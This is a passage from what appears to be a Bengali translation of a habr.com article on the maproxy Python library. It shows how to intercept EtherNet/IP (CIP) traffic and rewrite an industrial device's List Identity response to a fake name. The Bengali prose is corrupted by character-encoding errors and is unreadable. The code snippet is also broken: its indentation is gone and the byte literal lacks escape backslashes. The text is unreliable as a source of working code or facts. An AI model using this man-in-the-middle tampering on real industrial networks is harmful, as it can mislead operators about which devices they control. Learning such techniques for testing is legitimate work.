- āĻāĻĨāĻžāĻ°āĻ¨ā§āĻ/āĻāĻāĻĒāĻŋ āĻŦāĻž āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻāĻāĻāĻŋ āĻāĻ¸āĻāĻāĻĒāĻŋ āĻĄāĻŋāĻāĻžāĻāĻ¸, āĻāĻĒāĻ¨āĻŋ āĻļā§āĻĄāĻžāĻ¨ āĻĒāĻ°āĻŋāĻˇā§āĻŦāĻž āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻāĻāĻŋ āĻā§āĻāĻā§ āĻĒā§āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨;
- āĻāĻŽāĻžāĻĻā§āĻ° āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻāĻĒāĻ° āĻāĻŋāĻ¤ā§āĻ¤āĻŋ āĻāĻ°ā§
maproxy
.
āĻĒā§āĻ°āĻĨāĻŽā§, āĻāĻ¸ā§āĻ¨ āĻĻā§āĻāĻŋ āĻ¸āĻŋāĻāĻāĻĒāĻŋ (āĻāĻŽāĻ¨ āĻāĻ¨ā§āĻĄāĻžāĻ¸ā§āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻ˛ āĻĒā§āĻ°ā§āĻā§āĻāĻ˛) āĻĨā§āĻā§ āĻāĻāĻāĻŋ āĻ¸āĻžāĻ§āĻžāĻ°āĻŖ āĻ¸āĻ¨āĻžāĻā§āĻ¤āĻāĻ°āĻŖ āĻĒā§āĻ°āĻ¤āĻŋāĻā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻā§āĻŽāĻ¨ āĻĻā§āĻāĻžāĻ¯āĻŧ:
āĻāĻĨāĻžāĻ°āĻ¨ā§āĻ/āĻāĻāĻĒāĻŋ āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻĄāĻŋāĻāĻžāĻāĻ¸ āĻļāĻ¨āĻžāĻā§āĻ¤āĻāĻ°āĻŖ āĻ¸āĻŽā§āĻĒāĻ¨ā§āĻ¨ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, āĻ¯āĻž āĻāĻ¨ā§āĻĄāĻžāĻ¸ā§āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻ˛ āĻāĻĨāĻžāĻ°āĻ¨ā§āĻ āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ā§āĻ° āĻāĻāĻāĻŋ āĻŦāĻ°ā§āĻ§āĻŋāĻ¤ āĻ¸āĻāĻ¸ā§āĻāĻ°āĻŖ āĻ¯āĻž āĻ¸āĻŋāĻāĻāĻĒāĻŋ-āĻāĻ° āĻŽāĻ¤ā§ āĻāĻ¨ā§āĻā§āĻ°ā§āĻ˛ āĻĒā§āĻ°ā§āĻā§āĻāĻ˛āĻā§āĻ˛āĻŋāĻā§ āĻāĻŦā§āĻ¤ āĻāĻ°ā§āĨ¤ āĻāĻŽāĻ°āĻž āĻšāĻžāĻāĻ˛āĻžāĻāĻ āĻāĻ°āĻž āĻāĻāĻĄāĻŋ āĻ¨āĻžāĻŽ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻ¤ā§ āĻ¯āĻžāĻā§āĻāĻŋ āĻ¯āĻž āĻ¸ā§āĻā§āĻ°āĻŋāĻ¨āĻļāĻā§ āĻĻā§āĻļā§āĻ¯āĻŽāĻžāĻ¨ "āĻāĻĨāĻžāĻ°āĻ¨ā§āĻā§āĻ° āĻāĻ¨ā§āĻ¯ NI-IndComm" āĻāĻŽāĻžāĻĻā§āĻ° āĻĒā§āĻ°āĻā§āĻ¸āĻŋ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§āĨ¤ āĻāĻŽāĻ°āĻž āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻĒā§āĻ¨āĻ°āĻžāĻ¯āĻŧ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§ logging_proxy.py
āĻāĻŦāĻ āĻāĻāĻāĻāĻžāĻŦā§ āĻā§āĻ˛āĻžāĻ¸ āĻĒāĻĻā§āĻ§āĻ¤āĻŋ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°ā§āĻ¨ on_p2s_done_read
, āĻāĻžāĻ°āĻŖ āĻāĻŽāĻ°āĻž āĻā§āĻ˛āĻžāĻ¯āĻŧā§āĻ¨ā§āĻā§ āĻāĻāĻāĻŋ āĻāĻŋāĻ¨ā§āĻ¨ āĻĒāĻ°āĻŋāĻāĻ¯āĻŧā§āĻ° āĻ¨āĻžāĻŽ āĻĻā§āĻāĻ¤ā§ āĻāĻžāĻāĨ¤
āĻā§āĻĄ:
[âĻ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[âĻ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[âĻ]
āĻŽā§āĻ˛āĻ¤, āĻāĻŽāĻ°āĻž āĻĻā§āĻāĻŦāĻžāĻ° āĻĄāĻŋāĻāĻžāĻāĻ¸ āĻ¸āĻ¨āĻžāĻā§āĻ¤āĻāĻ°āĻŖā§āĻ° āĻāĻ¨ā§āĻ¯ āĻāĻŋāĻā§āĻāĻžāĻ¸āĻž āĻāĻ°ā§āĻāĻŋ, āĻĻā§āĻŦāĻŋāĻ¤ā§āĻ¯āĻŧ āĻĒā§āĻ°āĻ¤āĻŋāĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻŋ āĻāĻ¸āĻ˛ āĻāĻŦāĻ āĻĒā§āĻ°āĻĨāĻŽāĻāĻŋ āĻĢā§āĻ˛āĻžāĻāĻ¤ā§ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛āĨ¤
āĻāĻŦāĻ āĻļā§āĻˇ
āĻāĻŽāĻžāĻ° āĻŽāĻ¤ā§ maproxy
āĻāĻāĻāĻŋ āĻ¸ā§āĻŦāĻŋāĻ§āĻžāĻāĻ¨āĻ āĻāĻŦāĻ āĻ¸āĻšāĻ āĻā§āĻ˛, āĻ¯āĻž āĻĒāĻžāĻāĻĨāĻ¨ā§āĻ āĻ˛ā§āĻāĻž āĻāĻā§, āĻ¤āĻžāĻ āĻāĻŽāĻŋ āĻŦāĻŋāĻļā§āĻŦāĻžāĻ¸ āĻāĻ°āĻŋ āĻāĻĒāĻ¨āĻŋāĻ āĻāĻāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻāĻĒāĻā§āĻ¤ āĻšāĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤ āĻ
āĻŦāĻļā§āĻ¯āĻ, āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻĄā§āĻāĻž āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻ°āĻŖ āĻāĻŦāĻ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻ°āĻ āĻāĻāĻŋāĻ˛ āĻ¸āĻ°āĻā§āĻāĻžāĻŽ āĻ°āĻ¯āĻŧā§āĻā§, āĻ¤āĻŦā§ āĻ¸ā§āĻā§āĻ˛āĻŋ āĻāĻ°āĻ āĻŽāĻ¨ā§āĻ¯ā§āĻā§āĻ° āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ āĻāĻŦāĻ āĻ¸āĻžāĻ§āĻžāĻ°āĻŖāĻ¤ āĻāĻāĻāĻŋ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°ā§āĻ° āĻā§āĻˇā§āĻ¤ā§āĻ°ā§ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, āĻ¯ā§āĻŽāĻ¨ maproxy
āĻāĻĒāĻ¨āĻŋ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻĄā§āĻāĻž āĻāĻāĻāĻžāĻ¨ā§āĻ° āĻāĻ¨ā§āĻ¯ āĻāĻĒāĻ¨āĻžāĻ° āĻ§āĻžāĻ°āĻŖāĻžāĻā§āĻ˛āĻŋ āĻĻā§āĻ°ā§āĻ¤ āĻŦāĻžāĻ¸ā§āĻ¤āĻŦāĻžāĻ¯āĻŧāĻ¨ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨, āĻ¯ā§āĻšā§āĻ¤ā§ āĻāĻĻāĻžāĻšāĻ°āĻŖ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻāĻā§āĻ˛āĻŋ āĻā§āĻŦ āĻ¸ā§āĻĒāĻˇā§āĻāĨ¤
āĻāĻ¤ā§āĻ¸: www.habr.com